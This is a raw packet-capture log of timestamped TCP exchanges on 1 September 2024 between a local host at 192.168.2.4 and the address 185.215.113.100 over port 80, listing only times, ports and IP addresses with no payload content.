Sep 1, 2024 05:09:16.303072929 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303529024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303540945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303551912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303569078 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303574085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303596020 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303622007 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303636074 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303646088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303657055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303678989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303709030 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303741932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303754091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303762913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303775072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303785086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303788900 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303806067 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303837061 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303869963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303879976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303898096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303908110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303917885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303917885 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303927898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.303946972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.303975105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.304075956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304085970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304100037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304110050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304126024 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.304153919 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.304822922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304832935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304838896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304879904 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.304883957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304896116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304904938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304917097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.304929972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.304948092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.304972887 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.305068970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305079937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305089951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305105925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305109978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.305115938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305121899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305130005 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.305145025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305155039 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305159092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.305186033 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.305208921 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.305293083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305304050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305313110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305322886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305332899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305340052 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.305342913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305354118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305362940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305366039 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.305372953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.305398941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.305418015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.364540100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364551067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364561081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364667892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.364667892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.364685059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364701986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364712954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364717960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364732981 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.364747047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364754915 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.364758015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364767075 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.364788055 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.364815950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365426064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365437984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365447044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365468979 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365498066 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365503073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365513086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365521908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365531921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365545034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365557909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365570068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365581036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365587950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365592957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365612984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365637064 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365663052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365673065 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365681887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365691900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365710974 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365730047 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365825891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365835905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365847111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365858078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365864992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365880013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365889072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365895987 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365911007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365923882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365931034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365941048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.365943909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.365978003 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.366008997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366049051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.366050959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366065025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366091967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.366106033 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.366108894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366121054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366154909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.366182089 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366193056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366202116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366213083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366221905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.366225958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.366242886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.366266012 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389218092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389229059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389239073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389261961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389281034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389286041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389297009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389328957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389338970 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389338970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389349937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389369965 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389394999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389401913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389417887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389446020 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389468908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389544010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389554977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389564991 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389575958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389584064 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389586926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389605999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389631987 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389658928 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389669895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389679909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389691114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389693975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389700890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389712095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389723063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389750004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389776945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389786959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389796972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389815092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389841080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389842033 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389851093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389880896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389908075 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389908075 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389919043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389929056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389939070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389946938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389949083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389961004 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.389966011 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.389991045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.390010118 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.390121937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390132904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390142918 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390166044 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.390188932 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.390265942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390276909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390286922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390296936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390307903 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.390311956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390322924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390335083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390337944 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.390343904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390352964 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.390383005 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.390960932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390969992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.390975952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391017914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391030073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391036034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391040087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391057968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391057968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391081095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391113043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391118050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391129017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391139030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391149998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391154051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391166925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391191006 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391218901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391230106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391241074 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391264915 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391284943 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391386986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391397953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391407967 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391417980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391427040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391433954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391443968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391453981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391463995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391464949 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391475916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391484022 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391505003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391510010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391526937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391534090 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391565084 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391585112 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391607046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391617060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391625881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391637087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391644955 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391648054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391659021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391659975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391683102 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391705036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391717911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391735077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391745090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391766071 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391787052 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391856909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391866922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391882896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391894102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391899109 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391902924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391908884 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391913891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.391930103 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.391961098 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.392004967 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.392015934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.392024994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.392041922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.392050028 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.392052889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.392065048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.392066002 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.392091036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.392121077 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.392151117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.392163038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.392193079 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.399627924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.399823904 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.451937914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452009916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452131987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452142954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452152967 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452179909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452184916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452217102 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452301979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452312946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452354908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452356100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452368975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452397108 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452421904 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452421904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452434063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452444077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452461958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452485085 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452492952 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452508926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452519894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452547073 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452574968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452585936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452594995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452605009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452615023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452615976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452646971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452663898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452697992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452708960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452718019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452728987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.452737093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452747107 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452768087 CEST	80	49742	185.215.113.100	192.168.2.4
